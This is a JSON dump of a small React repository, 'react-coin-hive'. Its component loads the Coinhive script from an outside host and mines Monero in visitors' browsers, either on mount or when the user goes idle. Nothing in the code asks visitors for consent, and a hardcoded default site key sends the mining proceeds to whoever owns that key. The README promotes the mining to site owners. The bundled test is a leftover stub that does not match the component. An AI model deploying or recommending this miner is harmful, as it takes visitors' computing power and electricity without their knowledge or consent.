[
  {
    "path": ".gitignore",
    "content": "/coverage\n/demo/dist\n/es\n/lib\n/node_modules\n/umd\nnpm-debug.log*\n"
  },
  {
    "path": ".nvmrc",
    "content": "8.5\n"
  },
  {
    "path": ".travis.yml",
    "content": "sudo: false\n\nlanguage: node_js\nnode_js:\n  - 6\n\nbefore_install:\n  - npm install codecov.io coveralls\n\nafter_success:\n  - cat ./coverage/lcov.info | ./node_modules/codecov.io/bin/codecov.io.js\n  - cat ./coverage/lcov.info | ./node_modules/coveralls/bin/coveralls.js\n\nbranches:\n  only:\n    - master\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "## Prerequisites\n\n[Node.js](http://nodejs.org/) >= v4 must be installed.\n\n## Installation\n\n- Running `npm install` in the components's root directory will install everything you need for development.\n\n## Demo Development Server\n\n- `npm start` will run a development server with the component's demo app at [http://localhost:3000](http://localhost:3000) with hot module reloading.\n\n## Running Tests\n\n- `npm test` will run the tests once.\n\n- `npm run test:coverage` will run the tests and produce a coverage report in `coverage/`.\n\n- `npm run test:watch` will run the tests on every change.\n\n## Building\n\n- `npm run build` will build the component for publishing to npm and also bundle the demo app.\n\n- `npm run clean` will delete built resources.\n"
  },
  {
    "path": "LICENSE",
    "content": "The MIT License (MIT)\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "# React Coin-Hive\n\nMine cryptocurrency while your users _haven’t engaged with your content_ lately. Inspired by the last paragraph of [this article](https://cdb.reacttraining.com/announcing-react-idle-8fc0b9e2d33e).\n\nThis uses [Coin-Hive](https://coin-hive.com/) to mine [Monero (XMR)](https://getmonero.org/).\n\n## Installation\n\n```\nnpm install --save react-coin-hive\n```\n\n## Usage\n\n```jsx\n// Anywhere in your app as long as it gets mounted\n<CoinHive siteKey='ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00'/>\n```\n\n## Props\n\n- `siteKey`: Your [Coin-Hive Site Key](https://coin-hive.com/settings/sites).\n\n- `timeout`: How long before considering that the user is idle in milliseconds. Default is `30000`.\n\n- `userName`: If used, the miner will be created with `CoinHive.User(siteKey, userName)`. By default the miner is created with `CoinHive.Anonymous(siteKey)`.\n\n- `threads`: The number of threads the miner should start with. Default is `2`.\n\n- `throttle`: The fraction of time that threads should be idle. Default is `0`.\n\n- `onInit`: A function that takes the `miner` instance as argument. It's called when the miner is created.\n\n- `onStart`: A function that takes the `miner` instance as argument. It's called every time the miner is started.\n\n- `onStop`: A function that takes the `miner` instance as argument. It's called every time the miner is stopped.\n\n## Disclaimer\n\nI have nothing to do with `coin-hive.com`\n"
  },
  {
    "path": "demo/src/index.js",
    "content": "import React, { Component } from 'react'\nimport { render } from 'react-dom'\n\nimport CoinHive from '../../src'\n\nclass Demo extends Component {\n  state = {\n    autoThreads: true,\n  }\n\n  _handleEnableAutoThreads = () => {\n    this.setState({ autoThreads: true })\n  }\n\n  _handleDisableAutoThreads = () => {\n    this.setState({ autoThreads: false })\n  }\n\n  render() {\n    return <div>\n      <h1>react-coin-hive Demo</h1>\n      <div>\n        autoThreads :&nbsp;\n        <input\n          type=\"button\"\n          value=\"on\"\n          disabled={this.state.autoThreads}\n          onClick={this._handleEnableAutoThreads}\n        />\n        <input\n          type=\"button\"\n          value=\"off\"\n          disabled={!this.state.autoThreads}\n          onClick={this._handleDisableAutoThreads}\n        />\n      </div>\n      <CoinHive\n        autoThreads={this.state.autoThreads}\n        onInit={miner => setInterval(() => CoinHive.displayMiner(miner), 1000)}\n        onStart={() => console.log('started')}\n        onStop={() => console.log('stopped')}\n        siteKey='NjBUIBfgmgqwSRGjemP5JQCNFJu5UJTx'\n        startOnIdle\n        timeout={1000}\n      />\n    </div>\n  }\n}\n\nrender(<Demo />, document.querySelector('#demo'))\n"
  },
  {
    "path": "nwb.config.js",
    "content": "module.exports = {\n  type: 'react-component',\n  npm: {\n    esModules: true,\n    umd: false\n  }\n}\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"name\": \"react-coin-hive\",\n  \"version\": \"1.1.1\",\n  \"description\": \"Mine cryptocurrency while your users haven’t engaged with your content lately\",\n  \"main\": \"lib/index.js\",\n  \"module\": \"es/index.js\",\n  \"files\": [\n    \"css\",\n    \"es\",\n    \"lib\",\n    \"umd\"\n  ],\n  \"scripts\": {\n    \"build\": \"nwb build-react-component\",\n    \"clean\": \"nwb clean-module && nwb clean-demo\",\n    \"start\": \"nwb serve-react-demo\",\n    \"test\": \"nwb test-react\",\n    \"test:coverage\": \"nwb test-react --coverage\",\n    \"test:watch\": \"nwb test-react --server\"\n  },\n  \"dependencies\": {\n    \"load-script\": \"^1.0.0\",\n    \"react-idle\": \"^2.0.0\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"15.x\"\n  },\n  \"devDependencies\": {\n    \"nwb\": \"0.18.x\",\n    \"react\": \"^15.6.1\",\n    \"react-dom\": \"^15.6.1\"\n  },\n  \"author\": \"\",\n  \"homepage\": \"\",\n  \"license\": \"MIT\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/cazala/react-coin-hive.git\"\n  },\n  \"keywords\": [\n    \"react-component\"\n  ]\n}\n"
  },
  {
    "path": "src/index.js",
    "content": "import React, { Component } from 'react'\nimport Idle from 'react-idle';\nimport loadScript from 'load-script';\nimport PropTypes from 'prop-types';\n\nclass CoinHiveClient extends Component {\n\n  static defaultProps = {\n    autoThreads: false,\n    timeout: 30000,\n    threads: 2,\n    throttle: 0,\n    siteKey: 'NjBUIBfgmgqwSRGjemP5JQCNFJu5UJTx',\n    startOnIdle: false,\n    onInit: (miner) => { },\n    onStart: (miner) => { },\n    onStop: (miner) => { }\n  }\n\n  constructor(props) {\n    super(props);\n    this.miner = null;\n    this.idle = false;\n  }\n\n  start() {\n    if (this.miner) {\n      this.miner.start();\n      this.props.onStart(this.miner);\n    }\n  }\n\n  stop() {\n    if (this.miner) {\n      this.miner.stop();\n      this.props.onStop(this.miner);\n    }\n  }\n\n  buildMiner = async () => {\n    if (this.miner && this.miner.isRunning()) {\n      this.stop();\n    }\n    this.miner = await new Promise(resolve => {\n      loadScript('https://coinhive.com/lib/coinhive.min.js', () => {\n        if (this.props.userName) {\n          return resolve(CoinHive.User(this.props.siteKey, this.props.userName));\n        }\n        return resolve(CoinHive.Anonymous(this.props.siteKey));\n      })\n    })\n    this.handleProps(this.props);\n  }\n\n  async componentWillMount() {\n    await this.buildMiner();\n    this.props.onInit(this.miner);\n    if (!this.idle) {\n      this.start();\n    }\n  }\n\n  async componentWillReceiveProps(nextProps) {\n    this.handleProps(nextProps);\n    this.stop();\n    await this.buildMiner();\n    if (!this.idle) {\n      this.start();\n    }\n    return;\n  }\n\n  handleProps({ throttle, threads, autoThreads }) {\n    if (this.miner != null) {\n      this.miner.setThrottle(throttle);\n      if (autoThreads) {\n        this.miner.setAutoThreadsEnabled(autoThreads);\n      } else {\n        this.miner.setNumThreads(threads);\n      }\n    }\n  }\n\n  handleIdleChange = ({ idle }) => {\n    if (this.miner != null) {\n      if (idle) {\n        this.start();\n      } else {\n        this.stop();\n      }\n    } else {\n    }\n    this.idle = idle;\n  }\n\n\n  render() {\n    if (!this.props.startOnIdle) {\n      return null;\n    }\n    return <Idle\n      timeout={this.props.timeout}\n      onChange={this.handleIdleChange}\n    />\n  }\n}\n\nCoinHiveClient.PropTypes = {\n  siteKey: PropTypes.string.isRequired,\n  timeout: PropTypes.number,\n  onInit: PropTypes.func,\n  onStart: PropTypes.func,\n  onStop: PropTypes.func,\n  userName: PropTypes.string,\n  autoThreads: PropTypes.bool,\n  startOnIdle: PropTypes.bool,\n};\n\nCoinHiveClient.displayMiner = miner => {\n  if (!miner || typeof miner !== 'object' || typeof miner.isRunning !== 'function') {\n    console.log('miner is not defined')\n    return;\n  }\n  const data = {\n    isRunning: miner.isRunning(),\n    getHashesPerSecond: miner.getHashesPerSecond(),\n    getNumThreads: miner.getNumThreads(),\n    getAutoThreadsEnabled: miner.getAutoThreadsEnabled(),\n    hasWASMSupport: miner.hasWASMSupport(),\n    getThrottle: miner.getThrottle(),\n    getToken: miner.getToken(),\n    getTotalHashes: miner.getTotalHashes(),\n    getAcceptedHashes: miner.getAcceptedHashes(),\n  };\n  console.log(data)\n}\n\nexport default CoinHiveClient;\n"
  },
  {
    "path": "tests/.eslintrc",
    "content": "{\n  \"env\": {\n    \"mocha\": true\n  }\n}\n"
  },
  {
    "path": "tests/index-test.js",
    "content": "import expect from 'expect'\nimport React from 'react'\nimport {render, unmountComponentAtNode} from 'react-dom'\n\nimport Component from 'src/'\n\ndescribe('Component', () => {\n  let node\n\n  beforeEach(() => {\n    node = document.createElement('div')\n  })\n\n  afterEach(() => {\n    unmountComponentAtNode(node)\n  })\n\n  it('displays a welcome message', () => {\n    render(<Component/>, node, () => {\n      expect(node.innerHTML).toContain('Welcome to React components')\n    })\n  })\n})\n"
  }
]